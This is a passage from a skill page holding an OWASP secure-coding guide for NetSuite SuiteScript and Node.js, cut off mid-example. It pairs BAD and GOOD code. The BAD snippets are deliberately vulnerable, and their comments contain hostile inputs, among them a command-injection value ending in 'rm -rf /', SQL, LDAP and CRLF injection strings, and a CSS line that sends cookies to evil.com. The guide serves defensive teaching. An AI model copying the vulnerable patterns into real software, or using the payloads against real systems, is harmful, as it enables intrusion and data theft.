Run any Skill in Manus with one click

netsuite-owasp-secure-coding

Stars309

Forks99

UpdatedJune 15, 2026 at 15:15

Platform-agnostic OWASP secure coding practices with JavaScript/Node.js patterns and NetSuite SuiteScript examples. Covers Open Worldwide Application Security Project (OWASP) Top 10 (2021), output encoding, injection prevention, CSP headers, file security, API hardening, AI agent security, DRY security patterns, and 48+ security pitfalls with GOOD/BAD code templates.

Installation

Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.

Run Skill in Manus

Source

oracle

oracle/netsuite-suitecloud-sdk

View GitHub Repository View Creator Repositories

Download

Run Skill in Manus

Related occupationsSOC

Based on SOC occupation classification

Information Security AnalystsComputer and Mathematical Occupations·SOC 15-1212

File Explorer

16 files

SKILL.md

readonly

This SKILL.md is very large, so SkillsMP previews the first section here. View on GitHub

OWASP Secure Coding Practices

1. Description

This skill provides implementation-depth OWASP secure coding coverage for JavaScript and SuiteScript 2.1 development. It is the primary security reference for writing, reviewing, and auditing code.

What This Skill Covers:

Complete OWASP Top 10 (2021) mapping with code-level mitigation patterns
48 cataloged security pitfalls (OSCP-001 through OSCP-048) with BAD/GOOD code examples
Platform-agnostic JavaScript security patterns applicable beyond NetSuite
SuiteScript-specific security patterns for RESTlets, Suitelets, Client Scripts, and more
Output encoding for five HTML contexts (body, attribute, JavaScript, URL, CSS)
CSP header construction and deployment
File upload/download validation pipelines
API and RESTlet hardening patterns
AI agent security considerations for tool-assisted development
DRY security architecture: shared validation modules, centralized encoding, single-source configs
A mandatory security review checklist for every code review

Relationship to Existing Security Content:

If available, the netsuite-sdf-leading-practices skill contains two security-related principles from the SAFE Guide:

Principle 5 (05-security-privacy.md) -- Owns NetSuite-specific security topics: roles and permissions, token-based authentication (TBA), N/crypto module usage, PCI-DSS awareness, credential storage via script parameters, and SuiteCloud platform security features.
Principle 11 (11-security-best-practices.md) -- Owns OWASP awareness-level guidance: the core security principles list, a high-level OWASP Top 10 overview, basic input sanitization patterns, and parameterized query awareness.

This skill (netsuite-owasp-secure-coding) provides everything below the awareness level: full implementation depth, exhaustive code patterns, all 48 pitfalls, context-specific encoding, CSP templates, file security, API hardening, client-side defenses, logging safety, and AI agent threat mitigation. It references Principles 5 and 11 where appropriate rather than duplicating their NetSuite-specific content.

2. How to Use

Invocation

Use this skill whenever you need a security review, threat analysis, or implementation guidance for SuiteScript or JavaScript security concerns.

If your client supports explicit skill activation by name, activate netsuite-owasp-secure-coding and request the topic you need.

Auto-Activation Triggers

This skill auto-activates when the agent detects security-relevant context in the conversation. See Section 3 for the complete trigger list.

Reference Files

All deep-dive content is in the local references/ directory. The skill loads the appropriate reference files based on the detected security topic. You can also request a specific reference directly:

Review this RESTlet for security issues.
Load the injection prevention reference.
Load the CSP header templates appendix.

3. When to Use

Keyword Triggers

The skill activates when any of the following keywords or phrases appear in the conversation or code context:

Injection and Input: injection, sanitize, sanitise, validate input, SQL concatenation, string concatenation query, parameterized, prepared statement, user input

XSS and Output: XSS, cross-site scripting, encode, output encoding, innerHTML, textContent, dangerouslySetInnerHTML, template literal injection

Authentication and Session: auth, authentication, session, CSRF, token, TBA, OAuth, credential, password, login, logout, session fixation

Headers and Browser: CSP, Content-Security-Policy, CORS, X-Frame-Options, HSTS, security header, postMessage, clickjacking

Cryptography: crypto, hash, encrypt, decrypt, MD5, SHA-1, SHA-256, Math.random, nonce, HMAC, AES, secret key

File Operations: file upload, file download, path traversal, MIME type, magic bytes, zip bomb, filename sanitization

API and Network: RESTlet, Suitelet, API security, rate limit, SSRF, webhook, schema validation, request validation

General Security: security, vulnerability, OWASP, pentest, hardening, exploit, attack surface, threat model, security review, security audit

AI and Agent: prompt injection, AI security, agent security, tool poisoning, AI output validation, data exfiltration

Code Context Triggers

The skill also activates when the agent detects these code patterns:

Writing or reviewing RESTlet scripts (@NScriptType Restlet)
Writing or reviewing Suitelets that generate HTML (response.write, INLINEHTML)
Client scripts with DOM manipulation (innerHTML, document.write, eval)
SuiteQL queries being constructed (query.runSuiteQL, query.runSuiteQLPaged, N/query)
File operations (N/file, file.create, file.load)
External HTTP calls (N/https, https.post, https.get)
Cryptographic operations (N/crypto, createHash, createCipher)
Any code review or security audit request

4. Companion Reference Map

This skill is self-contained. To avoid content duplication, this map distinguishes what this skill owns from optional companion references that may exist in a broader NetSuite guidance set.

Source	Owns	Relationship to This Skill
`netsuite-owasp-secure-coding` (This skill)	Full OWASP Top 10 implementation depth, all 48 OSCP pitfalls, five-context output encoding, CSP header construction, file upload/download validation pipeline, API/RESTlet hardening, client-side defenses (postMessage, DOM XSS, CSRF), logging safety, AI agent security, DRY security module patterns	Primary and authoritative source for implementation guidance in this package
`05-security-privacy.md` (`netsuite-sdf-leading-practices`, optional companion reference)	NS roles and permissions, TBA authentication patterns, N/crypto module overview, PCI-DSS awareness, credential storage via Script Parameters, SuiteCloud platform security features	Supplemental background only; not required for this skill
`11-security-best-practices.md` (`netsuite-sdf-leading-practices`, optional companion reference)	OWASP awareness list, core security principles, basic sanitize pattern, basic parameterized query mention, defense-in-depth overview	Supplemental background only; not required for this skill

Cross-Reference Rules:

Use this skill as the authoritative source for code-level implementation guidance.
If optional companion references are available, use them only for adjacent background such as role setup, token rotation, or high-level principles.
Do not assume companion references are installed; answer from this skill's local content first.

5. OWASP Top 10 (2021) Quick Map

Each OWASP Top 10 category is mapped to the reference files in this skill that provide detailed coverage.

Category	ID	Reference Files	Key Topics
Broken Access Control	A01:2021	`04-access-control.md`	RBAC, IDOR, privilege escalation, runasrole, deployment audience
Cryptographic Failures	A02:2021	`06-cryptography-data-protection.md`	SHA-256+, AES-256, key management, PII masking, CSPRNG
Injection	A03:2021	`01-injection-prevention.md`, `03-xss-output-encoding.md`	SuiteQL params, LDAP escape, CRLF, XSS, DOM sinks
Insecure Design	A04:2021	(Covered across multiple)	Threat modeling, defense in depth, least privilege
Security Misconfiguration	A05:2021	`05-security-misconfiguration.md`	Error messages, debug mode, headers, default creds, SDF manifest
Vulnerable Components	A06:2021	`05-security-misconfiguration.md`	Dependency audit, feature minimization, unused endpoints
Authentication Failures	A07:2021	`02-authentication-session.md`	Credential storage, TBA security, session fixation, cookie attrs
Software and Data Integrity Failures	A08:2021	`06-cryptography-data-protection.md`	HMAC verification, webhook signatures, data-at-rest encryption
Security Logging and Monitoring Failures	A09:2021	`10-logging-monitoring.md`	What to log, what not to log, log injection, audit trails
SSRF	A10:2021	`08-api-restlet-security.md`	URL allowlists, protocol validation, internal network protection

Appendices Providing Additional Depth:

Appendix	File	Covers
AI Agent Security	`references/appendices/appendix-ai-agent-security.md`	Prompt injection, tool poisoning, over-permissioned agents
CSP Header Templates	`references/appendices/appendix-csp-header-templates.md`	Ready-to-use CSP strings, nonce-based templates, NS-specific
Security Checklist	`references/appendices/appendix-security-checklist.md`	Phase-organized verification items with severity indicators
SuiteScript Security Patterns	`references/appendices/appendix-suitescript-security-patterns.md`	Copy-paste boilerplate for RESTlets, Suitelets, UE scripts

6. DRY Principles for Security

Repeating security logic across scripts is a maintenance hazard and a source of inconsistency. Apply these DRY principles to your security code.

6.1 Centralized Validation Module

Create a single validation module that all scripts import. When a validation rule changes, it changes in one place.

/**
 * Shared validation utilities.
 *
 * @NApiVersion 2.1
 * @NModuleScope Public
 * @module ./lib/SecurityValidation
 */
define(['N/error'], (error) => {

    /**
     * Validate that a value is a positive integer.
     * @param {*} val - The value to validate.
     * @param {string} fieldName - The field name for error messages.
     * @returns {number} The parsed integer.
     */
    const requirePositiveInt = (val, fieldName) => {
        const n = parseInt(val, 10);
        if (isNaN(n) || n < 1) {
            throw error.create({
                name: 'INVALID_INPUT',
                message: `${fieldName} must be a positive integer.`,
                notifyOff: true
            });
        }
        return n;
    };

    /**
     * Validate that a value is one of an allowed set.
     * @param {*} val - The value to validate.
     * @param {Array} allowed - The allowed values.
     * @param {string} fieldName - The field name for error messages.
     * @returns {*} The validated value.
     */
    const requireEnum = (val, allowed, fieldName) => {
        if (!allowed.includes(val)) {
            throw error.create({
                name: 'INVALID_INPUT',
                message: `${fieldName} must be one of: ${allowed.join(', ')}`,
                notifyOff: true
            });
        }
        return val;
    };

    /**
     * Validate that a string matches an alphanumeric pattern.
     * Use for structured identifiers, codes, and keys.
     * @param {string} val - The value to validate.
     * @param {string} fieldName - The field name for error messages.
     * @param {number} [maxLength=200] - Maximum allowed length.
     * @returns {string} The validated string.
     */
    const requireAlphanumeric = (val, fieldName, maxLength) => {
        maxLength = maxLength || 200;
        if (typeof val !== 'string' || val.length === 0 || val.length > maxLength) {
            throw error.create({
                name: 'INVALID_INPUT',
                message: `${fieldName} must be a non-empty string up to ${maxLength} characters.`,
                notifyOff: true
            });
        }
        if (!/^[a-zA-Z0-9_-]+$/.test(val)) {
            throw error.create({
                name: 'INVALID_INPUT',
                message: `${fieldName} contains disallowed characters. Only alphanumeric, hyphens, and underscores are permitted.`,
                notifyOff: true
            });
        }
        return val;
    };

    /**
     * Sanitize a string for safe inclusion in HTML body context.
     * Encodes the five critical HTML characters as entities.
     * @param {*} val - The value to sanitize.
     * @returns {string} The HTML-safe string.
     */
    const sanitizeHtml = (val) => {
        if (val == null) return '';
        return String(val)
            .replace(/&/g, '&amp;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/"/g, '&quot;')
            .replace(/'/g, '&#x27;');
    };

    /**
     * Sanitize a value for safe inclusion in log messages.
     * Strips newlines, control characters, and truncates.
     * @param {*} val - The value to sanitize.
     * @param {number} [maxLength=500] - Maximum output length.
     * @returns {string} The log-safe string.
     */
    const sanitizeForLog = (val) => {
        return String(val)
            .replace(/[\r\n]/g, ' ')
            .replace(/[\x00-\x1F]/g, '')
            .substring(0, 500);
    };

    return {
        requirePositiveInt,
        requireEnum,
        requireAlphanumeric,
        sanitizeHtml,
        sanitizeForLog
    };
});

6.2 Shared Encoding Module

See example 13 in 03-xss-output-encoding.md for the full five-context encoding module. Import it everywhere that output is rendered:

define(['./lib/encoding', './lib/SecurityValidation'], (enc, validate) => {
    // enc.forHtml(), enc.forAttribute(), enc.forJavaScript(), enc.forUrl(), enc.forCss()
    // validate.requirePositiveInt(), validate.sanitizeHtml(), etc.
});

6.3 Single Source of Truth for Security Configuration

Store security-relevant configuration in a single place per project:

/**
 * Security configuration constants.
 *
 * @NApiVersion 2.1
 * @NModuleScope Public
 * @module ./lib/SecurityConfig
 */
define([], () => {
    return Object.freeze({
        ALLOWED_ROLES: Object.freeze({
            ADMIN: [3],
            FINANCE: [3, 1032, 1045],
            READ_ONLY: [3, 1032, 1045, 1060]
        }),
        FILE_UPLOAD: Object.freeze({
            ALLOWED_EXTENSIONS: ['.pdf', '.csv', '.xlsx', '.png', '.jpg', '.jpeg'],
            MAX_SIZE_BYTES: 10 * 1024 * 1024,
            UPLOAD_FOLDER_PARAM: 'custscript_upload_folder_id'
        }),
        RATE_LIMIT: Object.freeze({
            MAX_REQUESTS: 100,
            WINDOW_SECONDS: 3600
        }),
        CSP_DIRECTIVES: Object.freeze([
            "default-src 'self'",
            "script-src 'self' https://*.netsuite.com",
            "style-src 'self' 'unsafe-inline' https://*.netsuite.com",
            "img-src 'self' data: https://*.netsuite.com",
            "frame-ancestors 'self' https://*.netsuite.com",
            "form-action 'self'",
            "base-uri 'self'"
        ])
    });
});

7. Security Pitfalls (OSCP-001 through OSCP-048)

This is the core catalog. Each pitfall has a unique ID, title, category, severity, problem description, BAD code example, GOOD code example, and a reference to the detailed reference file.

ID prefix: OSCP- (OWASP Secure Coding Practice) to keep pitfall identifiers stable and unique within this skill.

Severity Levels:

Critical -- Exploitable immediately; can lead to full data breach or RCE
High -- Significant risk requiring prompt remediation
Medium -- Moderate risk; should be fixed within the current development cycle
Low -- Minor risk; address as part of ongoing improvement

Injection Prevention (OSCP-001 to OSCP-005)

OSCP-001: SQL Injection via String Concatenation in SuiteQL

Category: Injection Prevention Severity: Critical Reference: references/01-injection-prevention.md Section 1

Problem: Building SuiteQL queries by concatenating user input allows an attacker to manipulate the query structure, extract unauthorized data, or modify records.

// ===== BAD: String concatenation in SuiteQL =====
/**
 * @NApiVersion 2.1
 * @NScriptType Suitelet
 */
define(['N/query'], (query) => {
    const onRequest = (context) => {
        const name = context.request.parameters.customerName;
        // VULNERABLE: attacker sends name = "' OR '1'='1"
        const sql = "SELECT id, companyname FROM customer WHERE companyname = '" + name + "'";
        const results = query.runSuiteQL({ query: sql });
        context.response.write(JSON.stringify(results.asMappedResults()));
    };
    return { onRequest };
});

// ===== GOOD: Parameterized query with ? placeholders =====
/**
 * @NApiVersion 2.1
 * @NScriptType Suitelet
 */
define(['N/query'], (query) => {
    const onRequest = (context) => {
        const name = context.request.parameters.customerName;
        // SAFE: values are passed separately through params
        const sql = "SELECT id, companyname FROM customer WHERE companyname = ?";
        const results = query.runSuiteQL({ query: sql, params: [name] });
        context.response.write(JSON.stringify(results.asMappedResults()));
    };
    return { onRequest };
});

Use ? placeholders plus params for query.runSuiteQL, query.runSuiteQLPaged, and their promise variants. Paged SuiteQL queries must still bind values through params; do not concatenate user-controlled values into the query string.

OSCP-002: Command Injection via Unsanitized Shell Arguments

Category: Injection Prevention Severity: Critical Reference: references/01-injection-prevention.md Section 2

Problem: Passing user input to shell commands via child_process.exec() allows an attacker to inject shell metacharacters and execute arbitrary commands. Relevant in SDF build scripts, CI/CD pipelines, and custom Node.js tooling.

// ===== BAD: exec() with user-controlled input =====
const { exec } = require('child_process');

function runDeploy(projectName) {
    // VULNERABLE: projectName = "myproject; rm -rf /"
    exec(`sdfcli deploy -project ${projectName}`, (err, stdout) => {
        console.log(stdout);
    });
}

// ===== GOOD: execFile() with argument array (no shell) =====
const { execFile } = require('child_process');

function runDeploy(projectName) {
    // Validate against allowlist pattern first
    if (!/^[a-zA-Z0-9_-]+$/.test(projectName)) {
        throw new Error('Invalid project name. Only alphanumeric, hyphens, and underscores allowed.');
    }
    // SAFE: execFile does not spawn a shell; arguments passed directly
    execFile('sdfcli', ['deploy', '-project', projectName], (err, stdout) => {
        if (err) {
            console.error('Deploy failed:', err.message);
            return;
        }
        console.log(stdout);
    });
}

OSCP-003: Header Injection via Unvalidated HTTP Headers (CRLF)

Category: Injection Prevention Severity: High Reference: references/01-injection-prevention.md Section 3

Problem: If user input is placed into HTTP response headers without stripping carriage return and line feed characters, an attacker can inject arbitrary headers or split the HTTP response.

// ===== BAD: User input directly in header value =====
define([], () => {
    const onRequest = (context) => {
        const redirectUrl = context.request.parameters.redirect;
        // VULNERABLE: redirect = "https://ok.com\r\nSet-Cookie: admin=true"
        context.response.setHeader({ name: 'Location', value: redirectUrl });
        context.response.setStatus(302);
    };
    return { onRequest };
});

// ===== GOOD: Strip CRLF, validate against allowlist, and use redirect API =====
define(['N/redirect'], (redirect) => {
    const ALLOWED_URLS = [
        '/app/site/hosting/scriptlet.nl?script=123&deploy=1',
        '/app/site/hosting/scriptlet.nl?script=456&deploy=1'
    ];

    const sanitizeHeaderValue = (value) => {
        return String(value).replace(/[\r\n\x00]/g, '');
    };

    const onRequest = (context) => {
        const redirectUrl = sanitizeHeaderValue(context.request.parameters.redirect);
        if (!ALLOWED_URLS.includes(redirectUrl)) {
            context.response.write('Invalid redirect destination.');
            return;
        }
        // SAFE: use the documented redirect module instead of writing raw headers
        redirect.redirect({ url: redirectUrl });
    };
    return { onRequest };
});

OSCP-004: LDAP Injection in Directory Queries

Category: Injection Prevention Severity: High Reference: references/01-injection-prevention.md Section 4

Problem: When NetSuite integrations query external LDAP/Active Directory services, user input in LDAP filter strings can alter the query logic, exposing unauthorized directory entries.

// ===== BAD: Unescaped input in LDAP filter =====
define(['N/https'], (https) => {
    const lookupUser = (username) => {
        // VULNERABLE: username = "admin)(|(password=*))" exposes all passwords
        const filter = `(&(uid=${username})(objectClass=person))`;
        https.post({
            url: 'https://ldap-proxy.internal/search',
            body: JSON.stringify({ filter: filter }),
            headers: { 'Content-Type': 'application/json' }
        });
    };
});

// ===== GOOD: Escape LDAP special characters per RFC 4515 =====
define(['N/https'], (https) => {
    const escapeLdapFilter = (input) => {
        return String(input)
            .replace(/\\/g, '\\5c')
            .replace(/\*/g, '\\2a')
            .replace(/\(/g, '\\28')
            .replace(/\)/g, '\\29')
            .replace(/\x00/g, '\\00');
    };

    const lookupUser = (username) => {
        const safeUsername = escapeLdapFilter(username);
        const filter = `(&(uid=${safeUsername})(objectClass=person))`;
        https.post({
            url: 'https://ldap-proxy.internal/search',
            body: JSON.stringify({ filter: filter }),
            headers: { 'Content-Type': 'application/json' }
        });
    };
});

OSCP-005: Log Injection via Unsanitized Log Entries

Category: Injection Prevention Severity: Medium Reference: references/10-logging-monitoring.md Section 4

Problem: If user input containing newline characters is written to logs, an attacker can forge log entries, inject misleading audit trails, or exploit log analysis tools.

// ===== BAD: Raw user input in log message =====
define(['N/log'], (log) => {
    const onRequest = (context) => {
        const searchTerm = context.request.parameters.q;
        // VULNERABLE: searchTerm = "test\nlog.audit('Admin','Fake admin entry')"
        log.audit('Search', 'User searched for: ' + searchTerm);
    };
});

// ===== GOOD: Sanitize before logging =====
define(['N/log'], (log) => {
    const safeLogValue = (val) => {
        return String(val)
            .replace(/[\r\n]/g, ' ')
            .replace(/[\x00-\x1F]/g, '')
            .substring(0, 500);
    };

    const onRequest = (context) => {
        const searchTerm = context.request.parameters.q;
        // SAFE: newlines and control characters stripped
        log.audit('Search', 'User searched for: ' + safeLogValue(searchTerm));
    };
});

Authentication and Session (OSCP-006 to OSCP-009)

OSCP-006: Hardcoded Credentials in Source Code

Category: Authentication and Session Severity: Critical Reference: references/02-authentication-session.md Section 1

Problem: API keys, passwords, and tokens embedded in source code are exposed to every developer with repository access, persisted in version control history, and visible in deployment artifacts.

See Principle 5 (05-security-privacy.md) for NetSuite-specific credential storage via Script Parameters and the Credentials module.

// ===== BAD: Hardcoded API key =====
define(['N/https'], (https) => {
    const execute = () => {
        // VULNERABLE: key visible in source, version control, and logs
        const API_KEY = 'sk-prod-a8f3k29d5e7b1c4f6';
        https.post({
            url: 'https://api.vendor.com/data',
            headers: { 'Authorization': `Bearer ${API_KEY}` },
            body: '{}'
        });
    };
});

// ===== GOOD: Credentials from Script Parameters =====
/**
 * @NApiVersion 2.1
 * @NScriptType ScheduledScript
 */
define(['N/https', 'N/runtime', 'N/error'], (https, runtime, error) => {
    const execute = () => {
        const script = runtime.getCurrentScript();
        const apiKey = script.getParameter({ name: 'custscript_vendor_api_key' });

        if (!apiKey) {
            throw error.create({
                name: 'MISSING_CONFIG',
                message: 'API key not configured in script deployment parameters.'
            });
        }

        https.post({
            url: 'https://api.vendor.com/data',
            headers: { 'Authorization': `Bearer ${apiKey}` },
            body: '{}'
        });
    };
    return { execute };
});

OSCP-007: Session Fixation via Client-Supplied Session IDs

Category: Authentication and Session Severity: High Reference: references/02-authentication-session.md Section 3

Problem: Accepting session identifiers from URL parameters or client-controlled sources allows an attacker to fix a session ID, then trick a victim into authenticating with that known session.

// ===== BAD: Session ID from URL parameter =====
define(['N/cache'], (cache) => {
    const onRequest = (context) => {
        // VULNERABLE: attacker sets sessionId before victim logs in
        const sessionId = context.request.parameters.sessionId;
        const sessionCache = cache.getCache({ name: 'SESSIONS' });
        let data = sessionCache.get({ key: sessionId });
        if (!data) {
            sessionCache.put({ key: sessionId, value: '{}', ttl: 1800 });
        }
    };
});

// ===== GOOD: Generate session ID server-side =====
/**
 * @NApiVersion 2.1
 * @NScriptType Suitelet
 */
define(['N/cache', 'N/crypto/random', 'N/runtime'], (cache, random, runtime) => {
    const generateSessionId = () => random.generateUUID();

    const onRequest = (context) => {
        const sessionCache = cache.getCache({ name: 'SESSIONS' });
        const newSessionId = generateSessionId();
        const currentUser = runtime.getCurrentUser();

        sessionCache.put({
            key: newSessionId,
            value: JSON.stringify({ userId: currentUser.id, role: currentUser.role }),
            ttl: 1800
        });
        // Pass session ID via hidden form field, not URL
        context.response.write(`<input type="hidden" name="sid" value="${newSessionId}">`);
    };
    return { onRequest };
});

OSCP-008: Missing Cookie Security Attributes

Category: Authentication and Session Severity: High Reference: references/02-authentication-session.md Section 5

Problem: Cookies set without HttpOnly, Secure, and SameSite attributes are vulnerable to theft via XSS, interception over HTTP, and cross-site request forgery.

// ===== BAD: Cookie without security attributes =====
define([], () => {
    const onRequest = (context) => {
        // VULNERABLE: no HttpOnly, Secure, or SameSite
        context.response.setHeader({
            name: 'Set-Cookie',
            value: 'sessionToken=abc123'
        });
    };
});

// ===== GOOD: Cookie with full security attributes =====
define([], () => {
    const onRequest = (context) => {
        context.response.setHeader({
            name: 'Set-Cookie',
            value: [
                'sessionToken=abc123',
                'HttpOnly',
                'Secure',
                'SameSite=Strict',
                'Path=/',
                'Max-Age=1800'
            ].join('; ')
        });
    };
});

OSCP-009: No Session Timeout or Excessive Session Duration

Category: Authentication and Session Severity: Medium Reference: references/02-authentication-session.md Section 4

Problem: Sessions with no expiration or excessively long lifetimes remain valid indefinitely, increasing the window for session hijacking.

// ===== BAD: TTL of 0 (no expiration) =====
define(['N/cache'], (cache) => {
    const sessionCache = cache.getCache({ name: 'SESSIONS' });
    const createSession = (userId) => {
        // VULNERABLE: session never expires
        sessionCache.put({ key: userId, value: '{}', ttl: 0 });
    };
});

// ===== GOOD: Sliding and absolute timeout =====
define(['N/cache', 'N/log'], (cache, log) => {
    const SESSION_TTL = 1800; // 30 minutes sliding
    const MAX_ABSOLUTE_MS = 8 * 60 * 60 * 1000; // 8 hours absolute

    const sessionCache = cache.getCache({ name: 'SESSIONS' });

    const validateSession = (sessionId, currentUserId) => {
        const raw = sessionCache.get({ key: sessionId });
        if (!raw) return { valid: false, reason: 'expired' };

        const session = JSON.parse(raw);
        if (session.userId !== currentUserId) return { valid: false, reason: 'mismatch' };

        const created = new Date(session.created).getTime();
        if (Date.now() - created > MAX_ABSOLUTE_MS) {
            sessionCache.remove({ key: sessionId });
            return { valid: false, reason: 'absolute_timeout' };
        }

        // Refresh sliding window
        session.lastActivity = new Date().toISOString();
        sessionCache.put({ key: sessionId, value: JSON.stringify(session), ttl: SESSION_TTL });
        return { valid: true };
    };
});

XSS and Output Encoding (OSCP-010 to OSCP-015)

OSCP-010: Reflected XSS via Unsanitized URL Parameters in Suitelets

Category: XSS and Output Encoding Severity: High Reference: references/03-xss-output-encoding.md Section 1

Problem: URL parameters reflected directly into HTML responses execute attacker- controlled scripts in the victim's browser, enabling session hijacking, credential theft, and defacement.

// ===== BAD: Raw parameter in HTML output =====
define([], () => {
    const onRequest = (context) => {
        const name = context.request.parameters.name;
        // VULNERABLE: name = <script>alert(document.cookie)</script>
        context.response.write(`<html><body><h1>Hello, ${name}!</h1></body></html>`);
    };
    return { onRequest };
});

// ===== GOOD: HTML-encode before embedding =====
define([], () => {
    const escapeHtml = (str) => {
        if (str == null) return '';
        return String(str)
            .replace(/&/g, '&amp;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/"/g, '&quot;')
            .replace(/'/g, '&#x27;');
    };

    const onRequest = (context) => {
        const name = context.request.parameters.name;
        context.response.write(`<html><body><h1>Hello, ${escapeHtml(name)}!</h1></body></html>`);
    };
    return { onRequest };
});

For Suitelet HTML, also consider N/render TemplateRenderer with an inline FTL template and <#ftl output_format="HTML" auto_esc=true> when TemplateRenderer is available and the code is replacing string-built response.write() output or INLINEHTML.defaultValue. N/xml.escape can be referenced for simple XML/HTML markup escaping, but do not treat it as a universal XSS encoder for JavaScript, URL, CSS, DOM sink, or trusted-HTML contexts.

OSCP-011: Stored XSS via Unencoded Database Values

Category: XSS and Output Encoding Severity: High Reference: references/03-xss-output-encoding.md Section 2

Problem: Data saved to NetSuite records by one user may contain malicious HTML. When another user's browser renders this data without encoding, the script executes.

// ===== BAD: Record value rendered without encoding =====
define(['N/record'], (record) => {
    const onRequest = (context) => {
        const rec = record.load({ type: 'customrecord_feedback', id: 1 });
        const feedback = rec.getValue({ fieldId: 'custrecord_feedback_text' });
        // VULNERABLE: stored <script> tags execute for every viewer
        context.response.write(`<div>${feedback}</div>`);
    };
});

// ===== GOOD: Encode stored data on output =====
define(['N/record'], (record) => {
    const escapeHtml = (str) => {
        if (str == null) return '';
        return String(str)
            .replace(/&/g, '&amp;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/"/g, '&quot;')
            .replace(/'/g, '&#x27;');
    };

    const onRequest = (context) => {
        const rec = record.load({ type: 'customrecord_feedback', id: 1 });
        const feedback = rec.getValue({ fieldId: 'custrecord_feedback_text' });
        context.response.write(`<div>${escapeHtml(feedback)}</div>`);
    };
});

OSCP-012: DOM XSS via innerHTML

Category: XSS and Output Encoding Severity: High Reference: references/03-xss-output-encoding.md Section 3

Problem: Assigning untrusted data to innerHTML causes the browser to parse and execute any embedded HTML or script content. This is the most common DOM-based XSS vector.

// ===== BAD: innerHTML with URL parameter =====
/**
 * @NApiVersion 2.1
 * @NScriptType ClientScript
 */
define([], () => {
    const pageInit = () => {
        const msg = new URLSearchParams(window.location.search).get('msg');
        // VULNERABLE: attacker controls msg via URL
        document.getElementById('notification').innerHTML = msg;
    };
    return { pageInit };
});

// ===== GOOD: textContent for untrusted data =====
/**
 * @NApiVersion 2.1
 * @NScriptType ClientScript
 */
define([], () => {
    const pageInit = () => {
        const msg = new URLSearchParams(window.location.search).get('msg');
        // SAFE: textContent treats everything as plain text
        document.getElementById('notification').textContent = msg;
    };
    return { pageInit };
});

OSCP-013: Missing Context-Specific Output Encoding

Category: XSS and Output Encoding Severity: High Reference: references/03-xss-output-encoding.md Section 4

Problem: Using HTML entity encoding in a JavaScript string context, or URL encoding in an HTML body context, provides no protection. Each output context requires its own encoding strategy.

// ===== BAD: HTML encoding used in JavaScript context =====
define([], () => {
    const onRequest = (context) => {
        const username = context.request.parameters.user;
        // HTML encoding does NOT protect JS context
        const htmlSafe = username.replace(/</g, '&lt;');
        // VULNERABLE: user = "'; alert('xss');//" still works
        context.response.write(`<script>var user = '${htmlSafe}';</script>`);
    };
});

// ===== GOOD: JSON.stringify for JavaScript context =====
define([], () => {
    const escapeHtml = (str) => {
        if (str == null) return '';
        return String(str)
            .replace(/&/g, '&amp;').replace(/</g, '&lt;')
            .replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&#x27;');
    };

    const onRequest = (context) => {
        const username = context.request.parameters.user;
        // JSON.stringify produces a safe JS string literal
        const safeJs = JSON.stringify(username);
        context.response.write(`<script>var user = ${safeJs};</script>`);

        // Or better: pass via data attribute and read with getAttribute
        context.response.write(`<div id="data" data-user="${escapeHtml(username)}"></div>`);
        context.response.write(`<script>var user = document.getElementById('data').getAttribute('data-user');</script>`);
    };
});

OSCP-014: JavaScript Injection via Template Literals

Category: XSS and Output Encoding Severity: High Reference: references/01-injection-prevention.md Section 5

Problem: Template literals (backtick strings) make string interpolation convenient but do not provide any automatic encoding. Interpolating user input into HTML templates creates injection points identical to string concatenation.

// ===== BAD: Template literal with unsanitized data =====
define([], () => {
    const onRequest = (context) => {
        const custName = context.request.parameters.name;
        // VULNERABLE: custName = "<img src=x onerror=alert(1)>"
        const html = `<html><body><h1>Report for ${custName}</h1></body></html>`;
        context.response.write(html);
    };
});

// ===== GOOD: Encode before interpolation =====
define([], () => {
    const escapeHtml = (str) => {
        if (str == null) return '';
        return String(str)
            .replace(/&/g, '&amp;').replace(/</g, '&lt;')
            .replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&#x27;');
    };

    const onRequest = (context) => {
        const custName = context.request.parameters.name;
        const html = `<html><body><h1>Report for ${escapeHtml(custName)}</h1></body></html>`;
        context.response.write(html);
    };
});

OSCP-015: CSS Injection via Style Attributes

Category: XSS and Output Encoding Severity: Medium Reference: references/03-xss-output-encoding.md Section 4

Problem: User-controlled values placed into CSS contexts can exfiltrate data via url() expressions, apply deceptive styling, or in older browsers execute scripts via expression().

// ===== BAD: User input in style attribute =====
define([], () => {
    const onRequest = (context) => {
        const color = context.request.parameters.color;
        // VULNERABLE: color = "red; background: url(https://evil.com/steal?cookie=...)"
        context.response.write(`<div style="color: ${color}">Text</div>`);
    };
});

// ===== GOOD: Allowlist of valid CSS values =====
define([], () => {
    const ALLOWED_COLORS = ['red', 'blue', 'green', 'black', 'gray', 'white'];

    const onRequest = (context) => {
        const color = context.request.parameters.color;
        const safeColor = ALLOWED_COLORS.includes(color) ? color : 'black';
        context.response.write(`<div style="color: ${safeColor}">Text</div>`);
    };
});

Access Control (OSCP-016 to OSCP-020)

OSCP-016: Missing Authorization Checks (IDOR)

Category: Access Control Severity: Critical Reference: references/04-access-control.md Section 2

Problem: When a RESTlet or Suitelet accepts a record ID from the request and loads that record without verifying the caller is authorized for it, any authenticated user can access any record by guessing or enumerating IDs.

// ===== BAD: No ownership check =====
define(['N/record'], (record) => {
    const get = (requestParams) => {
        // VULNERABLE: User A can view User B's order
        const order = record.load({ type: 'salesorder', id: requestParams.orderId });
        return { total: order.getValue({ fieldId: 'total' }) };
    };
    return { get };
});

// ===== GOOD: Verify ownership or role =====
/**
 * @NApiVersion 2.1
 * @NScriptType Restlet
 */
define(['N/record', 'N/runtime', 'N/log'], (record, runtime, log) => {
    const GLOBAL_ROLES = [3, 15]; // Admin, Sales Manager

    const get = (requestParams) => {
        const currentUser = runtime.getCurrentUser();
        const orderId = parseInt(requestParams.orderId, 10);
        if (!orderId || orderId <= 0) return { error: 'Invalid order ID.' };

        const order = record.load({ type: 'salesorder', id: orderId });
        const owner = order.getValue({ fieldId: 'entity' });

        if (String(owner) !== String(currentUser.id) && !GLOBAL_ROLES.includes(currentUser.role)) {
            log.audit('IDOR Attempt', { user: currentUser.id, orderId: orderId, owner: owner });
            return { error: 'Access denied.' };
